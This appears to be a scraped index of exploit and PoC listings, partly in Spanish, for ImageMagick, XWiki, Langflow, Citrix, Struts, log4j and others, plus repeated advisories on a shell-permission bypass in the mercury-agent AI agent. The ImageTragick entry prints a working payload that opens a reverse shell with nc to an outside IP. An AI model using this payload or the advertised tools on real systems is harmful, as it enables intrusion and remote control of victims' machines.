ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2021-45897

CVE-2021-45897 PoC para CVE-2021-45897, también conocido como SCRMBT-180 - RCE mediante Plantillas de Correo Electrónico solo autenticado en SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897...

CVE-2023-34152

CVE-2023-34152 Vulnerabilidad RCE que afecta a ImageMagick 6.9.6-4. Esta vulnerabilidad permite al atacante ejecutar comandos en el sistema de la víctima, permitiendo así la ejecución remota de comandos. Este es un POC inspirado en el descubrimiento de CVE-2023-34152 por fullwaywang. Divulgación ...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki Remote Code Execution RCE An updated proof-of-concept PoC exploit for CVE-2025-24893 , a critical unauthenticated RCE vulnerability in XWiki. This version improves on the original by allowing arbitrary shell command execution and clean reverse shell injection. By:...

cve-2023-1671

Сve-2023-1671 ¿Cómo funciona cve-2023-1671https://vulners.com/cve/CVE-2023-1671 ? /opt/ws/bin/ftsblistpack es un script de Perl que llama a /opt/ws/bin/sblistpack, que es otro script de Perl. Los argumentos del comando shell en él están encerrados entre comillas simples: root@kitploit: $rc +=...

Langflow-CVE-2025-3248-Multi-target

⚠️ Escáner de Explotación RCE de Langflow CVE-2025-3248 Este escáner basado en Python automatiza la detección de vulnerabilidades de Ejecución Remota de Código RCE sin autenticación en instancias de Langflow a través de CVE-2025-3248. Utiliza un payload de prueba de concepto que abusa del endpoint...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

Richsploit

Richsploit Richsploit: Kit de explotación para RichFaces. Resumen Richsploit puede utilizarse para explotar endpoints JSF mediante RichFaces. Todas las versiones desde 3.1.0 en adelante son vulnerables. root@kitploit: usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2:...

log4j-rce-test

Compilar ./build.sh Iniciar el servidor RCE de log4j ./start-log4j-rce-server.sh Probar Ejecuta java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Comprueba si obtienes logs en hack.log desde el directorio actual Puedes cambiar esta línea String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString ...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack Estos son solo algunos scripts que puedes usar para detectar y explotar la vulnerabilidad de Apache Struts CVE-2017-5638 Hay un MassScanner y un Exploiter, puedes usar el escáner para escanear masivamente una lista de URLs y luego explotarlas con el Exploiter. El Exploit...

CVE-2026-90813

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

CVE-2026-90812

A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be...

CVE-2026-90810

A security flaw has been discovered in cosmicstack-labs mercury-agent up to 1.1.13. The impacted element is the function PermissionManager.checkShellCommand of the file mercury-agent/src/capabilities/permissions.ts of the component Shell Command Permission Check. Performing a manipulation results...

EUVD-2026-77773

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

CVE-2026-90813

CVE-2026-90813 affects cosmicstack-labs mercury-agent versions up to 1.1.13 . The vulnerable component is the Shell Command Execution function checkShellCommand in src/capabilities/permissions.ts. The root cause is an incorrect behavior order: validation occurs before canonicalization , allowing ...

CVE-2026-90813 cosmicstack-labs mercury-agent Shell Command Execution permissions.ts checkShellCommand validate before canonicalize

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

CVE-2026-90813 cosmicstack-labs mercury-agent Shell Command Execution permissions.ts checkShellCommand validate before canonicalize

A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The...

EUVD-2026-77770

A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be...

CVE-2026-90812 cosmicstack-labs mercury-agent Shell Command Permission permissions.ts checkShellCommand privileges assignment

A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be...